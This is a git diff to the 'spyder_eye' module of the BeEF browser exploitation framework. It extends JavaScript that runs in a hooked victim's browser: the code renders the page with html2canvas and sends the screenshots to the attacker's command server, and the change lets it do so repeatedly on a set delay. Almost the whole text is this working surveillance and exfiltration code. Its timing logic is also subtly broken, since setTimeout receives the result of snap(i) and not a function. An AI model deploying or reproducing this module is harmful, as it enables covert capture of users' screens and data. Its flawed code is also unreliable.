diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index f37517fbd..65ac52541 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -6,18 +6,27 @@ beef.execute(function() { - takeit = function() { + var takes = parseInt('<%= @repeat %>') || 1; + var delay = parseInt('<%= @delay %>') || 0; + + snap = function(num) { try { html2canvas(document.body).then(function(canvas) { var d = canvas.toDataURL('image/png'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); + beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'image=' + d ); }); } catch (e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); + beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'result=Obtaining snapshot failed: ' + e.message); } }; + takeit = function() { + for(var i = 0; i < takes; i++) { + setTimeout(snap(i), delay); + } + }; + if (typeof html2canvas == "undefined") { var script = document.createElement('script'); script.type = 'text/javascript'; @@ -29,4 +38,5 @@ beef.execute(function() { else { takeit(); } + }); diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb index 8d810999a..94c1a3409 100644 --- a/modules/browser/spyder_eye/module.rb +++ b/modules/browser/spyder_eye/module.rb @@ -6,6 +6,13 @@ class Spyder_eye < BeEF::Core::Command require 'base64' + def self.options + return [ + { 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' }, + { 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' }, + ] + end + def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js') end